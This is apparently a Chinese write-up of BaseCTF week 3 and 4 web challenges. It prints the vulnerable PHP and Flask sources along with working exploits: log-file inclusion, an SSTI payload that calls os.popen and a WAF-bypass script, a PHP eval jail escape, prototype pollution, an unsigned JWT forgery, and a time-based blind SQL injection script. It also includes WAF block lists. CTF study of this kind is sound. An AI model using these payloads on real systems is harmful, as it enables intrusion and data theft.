[Week3]
滤个不停
<?php
highlight_file(__FILE__);
error_reporting(0);
$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];
if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}
//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;
foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}
if ($is_valid) {
$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];
foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}
include($Datch);
} else {
die('文件名不合规 请重试');
}
?>
禁掉了很多伪协议,那利用filter链打rce就算了。并且要求datch里面包含['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];这些字母。观察后发现这个可以拼成日志的路径。试一下后成功rce
玩原神玩的
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?");
}
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!");
}
dumpFlag();
}
function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}
echo json_encode($flag);
}
写个脚本爆破一下array数组长度
import requests
url = "http://challenge.basectf.fun:33806"
max_len = 100
for len_size in range(1, max_len + 1):
data = {}
for i in range(len_size):
data[f'len[{i}]'] = 'fffffilm'
print(data)
response = requests.post(url, data=data)
print(f"尝试长度: {len_size}, 服务器响应: {response.text}")
生成POST数组。
<?php
$len_size = 45;
$query_string = '';
for ($i = 1; $i <= $len_size; $i++) {
$query_string .= "len[$i]=1";
if ($i < $len_size) {
$query_string .= '&';
}
}
echo $query_string;
?>
接着按要求传参即可
一个丑陋的python拿到flag每一位的md5
import requests
url = ("http://challenge.basectf.fun:32374?tip=我要玩原神")
headers={
"Content-Type": "application/x-www-form-urlencoded"
}
data='len[1]=1&len[2]=1&len[3]=1&len[4]=1&len[5]=1&len[6]=1&len[7]=1&len[8]=1&len[9]=1&len[10]=1&len[11]=1&len[12]=1&len[13]=1&len[14]=1&len[15]=1&len[16]=1&len[17]=1&len[18]=1&len[19]=1&len[20]=1&len[21]=1&len[22]=1&len[23]=1&len[24]=1&len[25]=1&len[26]=1&len[27]=1&len[28]=1&len[29]=1&len[30]=1&len[31]=1&len[32]=1&len[33]=1&len[34]=1&len[35]=1&len[36]=1&len[37]=1&len[38]=1&len[39]=1&len[40]=1&len[41]=1&len[42]=1&len[43]=1&len[44]=1&len[45]=1&len[3]=2&m[0]=100%&m[1]=love100%2530bd7ce7de206924302499f197c7a966'
response = requests.post(url, data=data,headers=headers)
print(response.text)
["3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997","ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b","ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","44f683a84163b3523afe57c2e008bc8c","f0935e4cd5920aa6c7c996a5ee53a70f","698d51a19d8a121ce581499d7b701668","2838023a778dfaecdc212708f721b788","5f93f983524def3dca464469d2cf9f3e","093f65e080a295f8076b1c5722a46aa2","44f683a84163b3523afe57c2e008bc8c","9f61408e3afb633e50cdf1b20de6f466","7f39f8317fbdb1988ef4c628eba02591","3416a75f4cea9109507cacd8e2f2aefc","6364d3f0f495b6ab9dcf8d3b5c6e0b01","6364d3f0f495b6ab9dcf8d3b5c6e0b01","5ef059938ba799aaa845e1c2e8a762bd","9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","1c383cd30b7c298ab50293adfecb7b18","d645920e395fedad7bbbed0eca3fe2e0","d645920e395fedad7bbbed0eca3fe2e0","b53b3a3d6ab90ce0268229151c9bde11","a0a080f42e6f13b3a2df133f073095dd","f7177163c833dff4b38fc8d2872f1ec6","ec5decca5ed3d6b8079e2e7e7bacc9f2","202cb962ac59075b964b07152d234b70","c0c7c76d30bd3dcaefc96f40275bdc0a","735b90b4568125ed6c3f678819b6e058","98f13708210194c475687be6106a3b84","b6d767d2f8ed5d21a44b0e5886680cb9","ea5d2f1c4608232e07d3aa3d998e5135","fc490ca45c00b1249bbe3554a4fdf6fb","7cbbc409ec990f19c78c75bd1e06f215","735b90b4568125ed6c3f678819b6e058","a3f390d88e4c41f2747bfa2f1b5f87db","70efdf2ec9b086079795c442636b55fb","fbd7939d674997cdb4692d34de8633c4","32bb90e8976aab5298d5da10fe66f21d","32bb90e8976aab5298d5da10fe66f21d","43ec517d68b6edd3015b3edc9a11367b"]
搓个爆破脚本。
import hashlib
hashes = [
"3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997",
"ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b",
"ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","44f683a84163b3523afe57c2e008bc8c",
"f0935e4cd5920aa6c7c996a5ee53a70f","698d51a19d8a121ce581499d7b701668","2838023a778dfaecdc212708f721b788",
"5f93f983524def3dca464469d2cf9f3e","093f65e080a295f8076b1c5722a46aa2","44f683a84163b3523afe57c2e008bc8c",
"9f61408e3afb633e50cdf1b20de6f466","7f39f8317fbdb1988ef4c628eba02591","3416a75f4cea9109507cacd8e2f2aefc",
"6364d3f0f495b6ab9dcf8d3b5c6e0b01","6364d3f0f495b6ab9dcf8d3b5c6e0b01","5ef059938ba799aaa845e1c2e8a762bd",
"9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","1c383cd30b7c298ab50293adfecb7b18",
"d645920e395fedad7bbbed0eca3fe2e0","d645920e395fedad7bbbed0eca3fe2e0","b53b3a3d6ab90ce0268229151c9bde11",
"a0a080f42e6f13b3a2df133f073095dd","f7177163c833dff4b38fc8d2872f1ec6","ec5decca5ed3d6b8079e2e7e7bacc9f2",
"202cb962ac59075b964b07152d234b70","c0c7c76d30bd3dcaefc96f40275bdc0a","735b90b4568125ed6c3f678819b6e058",
"98f13708210194c475687be6106a3b84","b6d767d2f8ed5d21a44b0e5886680cb9","ea5d2f1c4608232e07d3aa3d998e5135",
"fc490ca45c00b1249bbe3554a4fdf6fb","7cbbc409ec990f19c78c75bd1e06f215","735b90b4568125ed6c3f678819b6e058",
"a3f390d88e4c41f2747bfa2f1b5f87db","70efdf2ec9b086079795c442636b55fb","fbd7939d674997cdb4692d34de8633c4",
"32bb90e8976aab5298d5da10fe66f21d","32bb90e8976aab5298d5da10fe66f21d","43ec517d68b6edd3015b3edc9a11367b"
]
for index, char in enumerate(hashes):
for flag_char in range(0, 256):
if (hashlib.md5(str(flag_char).encode("UTF-8")).hexdigest()) == char:
print(flag_char)
break
没注意到这是异或后的结果$flag[$ii] = md5(ord($array[$ii]) ^ $ii)
让gpt写一个解密吧。
# 给定的 XOR 结果
xor_results = [66, 96, 113, 102, 71, 81, 64, 124, 62, 106, 111, 51, 110, 59, 62, 56, 61, 41, 32, 32, 118, 56, 34, 35, 40, 40, 55, 122, 44, 127, 123, 50, 67, 20, 22, 64, 65, 70, 67, 68, 17, 76, 72, 72, 81]
def decrypt_xor_results(xor_results):
original_values = []
for index, xor_value in enumerate(xor_results):
# 恢复原始的 ASCII 码值
original_ascii = xor_value ^ index
original_values.append(original_ascii)
return original_values
# 还原 ASCII 码值
original_ascii_values = decrypt_xor_results(xor_results)
# 打印结果
print("Original ASCII values:", original_ascii_values)
print("Original characters:", ''.join(chr(value) for value in original_ascii_values))
复读机
题目是一个复读机。这种题目写多了自然而然会想到ssti,别问我为什么。
测试一下发现,waf的情况奇奇怪怪的。多次调试后,用fenjing解决。
读取到源码后才知道为什么waf很奇怪
if '%' not in data and char_count(data,'{') == 1:
return False
这个直接返回False一开始让我以为都打不了了。但是多套几层{}{}又可以了。这也是调用里面"flag":"BaseCTF{}{}"+payload
这样写的原因。
拿flag的payload
flag=Basectf{}{%set gl='_'~'_'~'g''lobals'~'_'~'_'%}{%set bu='_'~'_'~'b''uiltins'~'_'~'_'%}{%set im='_'~'_'~'import'~'_'~'_'%}{%set vs='OS'|lower%}{%set ca='%c%c%c%c%c%c%c'%(99,97,116,32,47,102,42)%}{%print g['p''op'][gl][bu][im](vs)['p''open'](ca)['read']()%}
反弹shell
没弹上,可能没出网?
import functools
import time
import requests
from fenjing import exec_cmd_payload
url = "http://challenge.basectf.fun:48151/flag" #
@functools.lru_cache(1000)
def waf(payload: str): # 如果字符串s可以通过waf则返回True, 否则返回False
time.sleep(0.1) # 防止请求发送过多
print(payload)
data={
"flag":"BaseCTF{}{}"+payload
}
resp = requests.post(url, timeout=10, data=data)
print(resp.text)
if "你想干嘛? 杂鱼~ 杂鱼~" not in resp.text and "匹配" not in resp.text:
return True
if __name__ == "__main__":
shell_payload, will_print = exec_cmd_payload(
waf, "cat /f*" )
if not will_print:
print("这个payload不会产生回显!")
print(f"{shell_payload=}")
源码如下:
from flask import *
app = Flask(__name__)
app.config["SECRET_KEY"] = 'flag{SSTI_123456}'
def char_count(data,char):
cnt = 0
for i in data:
if i == char:
cnt += 1
return cnt
def waf(data):
if '%' not in data and char_count(data,'{') == 1:
return False
ban_list_string = ['class', 'base', 'mro', 'init', 'global', 'builtin', 'config', 'request', 'lipsum', 'cycler', 'url_for', 'os', 'pop', 'format', 'replace', 'reverse']
ban_list_char = ['{{', '}}', '__', '.', '*', '+', '-', '/', '"', ':', '\\' ]
for ban in ban_list_string:
if ban in data:
return True
for ban in ban_list_char:
if ban in data:
return True
return False
def check_balanced(string):
stack = []
matching_bracket = {'}': '{'}
for char in string:
if char in matching_bracket.values():
stack.append(char)
elif char in matching_bracket.keys():
if stack and stack[-1] == matching_bracket[char]:
stack.pop()
else:
return False
return len(stack) == 0
def check_header(data):
try:
data = data.split('{')[0]
headers = ['BaseCTF']
for header in headers:
if header.upper() == data.upper():
return False
return True
except:
return True
@app.route("/")
def index():
return render_template('index.html')
@app.route("/flag", methods=["POST"])
def check_flag():
flag = request.form.get("flag")
print(flag)
if flag == None:
return 'BaseCTF{fake_flag}'
else:
if check_header(flag):
return "flag 头是 BaseCTF 或 flag"
if not check_balanced(flag):
return '括号不匹配哦~'
if waf(flag):
return "你想干嘛? 杂鱼~ 杂鱼"
return render_template_string(flag)
ez_php_jail
感觉是
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];
if($Jail == null) die("Do You Like My Jail?");
function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}
if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";
// 在HTML解析后再输出PHP源代码
?>
第一次写php的jail。过滤了$,a,c,s以及几个函数
我们可以利用highlight_file来查看文件内容。但是这里a被过滤掉了,利用glob配合通配符寻找文件。并且这里[0]来表明是查看匹配到的第一个文件,也就是我们的flag。否则是不会返回内容的。
Jail[by.Happy=highlight_file(glob("/fl*")[0]);
[Week4]
flag直接读取不就行了?
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>
直接利用php原生类就好了。
圣钥之战1.0
访问read路由拿到源码
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()
@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
python原型链污染
把file改成/flag然后访问read路由即可
No JWT
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string
app = Flask(__name__)
# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')
# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200
# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')
if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403
except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401
if __name__ == '__main__':
app.run(debug=True)
题目给了源码,发现只有jwt里面role为admin就可以拿flag了,key是16位的爆破太久了。注意到解码JWT的时候options={"verify_signature": False, "verify_exp": False}
没有对签名算法做验证。直接伪造即可。也就是将签名算法改成none,再将role改为admin
这里token.split(" ")[1]
也就是取空格后的第一部分数据。
only one sql
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);
利用update和REGEXP进行时间盲注,可能网络波动会有影响,多少几次就好了。
import requests
import time
url = 'http://challenge.basectf.fun:32425'
flag = ''
strings = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_-abcdefghijklmnopqrstuvwxyz{}'
for i in range(1, 100):
for char in strings:
payload="UPDATE flag SET id = 'fffffilm' WHERE data REGEXP '^Basectf' AND IF(data REGEXP '^{}',sleep(1), 1)".format((flag+char))
params={
"sql":payload
}
print(payload)
time.sleep(0.05)
start_time = time.time()
rs = requests.get(url,params=params)
end_time = time.time()
if end_time - start_time > 1:
flag += char
print(flag)
break
#flag='BASECTF{A8F992ED-CCCE-49BA-AB3E-6C71EB538DFD}'
#print(flag[:1]+flag[1:4].lower()+flag[4:7]+flag[7:].lower())